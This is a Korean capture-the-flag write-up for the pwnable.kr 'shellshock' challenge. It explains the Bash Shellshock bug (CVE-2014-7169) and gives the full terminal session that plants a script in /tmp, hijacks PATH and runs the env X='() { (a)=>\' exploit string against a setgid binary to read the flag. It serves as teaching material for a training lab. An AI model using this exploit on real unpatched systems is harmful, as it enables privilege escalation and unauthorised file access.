[pwnable.kr WriteUp]

이태규(ltg2030)

[Toddler's Bottle] shellshock 1PT

문제 설명
Mommy, there was a shocking news about bash. I bet you already know, but lets just make it sure : ssh shellshock@pwnable.kr -p2222 (pw:guest)

ShellShock : ShellShock 취약점은 리눅스를 포함한 유닉스 계열 운영체제에서 사용되는 명령어 실행 툴인 bash로부터 발생하는 취약점이다.

그중 CVE-2014-7169 취약점의 코드를 보면 env X='() { (a)=>\' bash -c "echo date" 라는 코드를 갖는다. 이 코드를 실행하면 echo라는 파일을 만들어 date라는 명령어를 실행한 결과를 저장한다. 이 문제에서 shellshock.c는 권한을 올리고 system 함수로 (bash -c 'echo shock_me'를 실행한다. 따라서 우리는 shock_me라는 명령어를 만들어 flag를 캡쳐할 수 있다.

환경변수 : 프로그램이 작동하는 환경을 나타내는 것.

PATH(환경변수) : 어떤 명령을 실행할 때 PATH에 적혀있는 경로의 해당 명령이 있는지 확인하여 실행시킴.

*참고 : http://teamcrak.tistory.com/380 (ShellShock란?)

문제 풀이(이론)

[pwnable.kr WriteUp]

이태규(ltg2030)

1. 우선 Xshell을 통해 shellshock@pwnable.kr -p2222에 접속한 뒤 ls -l 명령어를 통해 어떤 파일들이 있는지 확인했다.

2.

```
-r-xr-xr-x 1 root shellshock2 959120 Oct 12  2014 bash
-r--r----- 1 root shellshock2     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock2   8547 Oct 12  2014 shellshock
-rw-r----- 1 root shellshock     188 Oct 12  2014 shellshock.c
```

이런 4가지 파일이 있는 것을 알 수 있다. 우리는 지금 shellshock라는 사용자를 사용하고 있고 이는 shellshock2 그룹이 아니기 때문에 flag를 직접 열어볼 수 없다. 주어진 bash 쉘은 shellshock에 취약한 쉘일 것이다.

3. 위의 문제풀이(이론)에서 적었듯이 shellshock는 권한을 올리고 system 함수로 (bash -c 'echo shock_me'를 실행한다. 이에 CVE-2014-7169를 사용하기 위해 우선 shock_me 명령을 수행할 수 있게 만들어야한다.

4. 따라서 shock_me를 만들어야하는데 home 디렉토리에는 파일 생성권한이 없으므로 최하단 디렉토리인 / 에 가서 파일 생성권한이 있는 디렉토리를 찾았더니 /tmp 에는 파일 생성 권한이있어 /tmp 에 Ss라는 폴더를 만들고 거기에서 작업하기로 했다.

5. /tmp/Ss의 디렉토리에서 먼저 shock_me 라는 파일을 만들어 ~/flag를 cat하는 명령으로 만들었다. 그 뒤 shock_me라는 명령을 쓸 때 이곳의 shock_me를 쓰게 하기 위해 환경변수 PATH에 /tmp/Ss를 추가했다. 그런 다음 shock_me 라는 명령을 항상 실행하기 위해 권한을 777로 만들어주었다.

6. 그런 다음 CVE-2014-7169의 코드인 env X='() { (a)=>\' bash -c "echo date" 꼴을 만족시키는 env X='() { (a)=>\' /home/shellshock/shellshock 꼴의 명령을 실행시키면 echo 폴더에 flag 값을 cat하여 넣어주게 된다.

문제 풀이(실습)

[pwnable.kr WriteUp]

이태규(ltg2030)

```
shellshock@ubuntu:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock2 959120 Oct 12  2014 bash
-r--r----- 1 root shellshock2     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock2   8547 Oct 12  2014 shellshock
-rw-r----- 1 root shellshock     188 Oct 12  2014 shellshock.c
shellshock@ubuntu:~$ cd /tmp
shellshock@ubuntu:/tmp$ mkdir Ss
shellshock@ubuntu:/tmp$ cd Ss
shellshock@ubuntu:/tmp/Ss$ ls
shellshock@ubuntu:/tmp/Ss$ cat > shock_me
cat ~/flag
shellshock@ubuntu:/tmp/Ss$ chmod 777 shock_me
shellshock@ubuntu:/tmp/Ss$ export PATH=/tmp/Ss:$PATH
shellshock@ubuntu:/tmp/Ss$ evn | grep /tmp/Ss
No command 'evn' found, did you mean:
 Command 'esvn' from package 'esvn' (universe)
 Command 'ev' from package 'radiance' (universe)
 Command 'mvn' from package 'maven' (universe)
 Command 'mvn' from package 'maven2' (universe)
 Command 'eqn' from package 'groff-base' (main)
 Command 'env' from package 'coreutils' (main)
 Command 'svn' from package 'subversion' (main)
evn: command not found
shellshock@ubuntu:/tmp/Ss$ env | grep /tmp/Ss
PATH=/tmp/Ss:/tmp/ab3:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
PWD=/tmp/Ss
shellshock@ubuntu:/tmp/Ss$ env X='() { (a)=>\' /home/shellshock/shellshock
/home/shellshock/bash: X: line 1: syntax error near unexpected token `='
/home/shellshock/bash: X: line 1: `'
/home/shellshock/bash: error importing function definition for `X'
shellshock@ubuntu:/tmp/Ss$ ls
echo  shock_me
shellshock@ubuntu:/tmp/Ss$ cat echo
only if I knew CVE-2014-6271 ten years ago..!!
```

echo 파일 내부에 shock_me라는 명령을 실행한 결과 즉 cat ~/flag를 실행한 결과가 저장되기 때문에 cat echo를 했을 때 나오는 값이 flag이다.

실행화면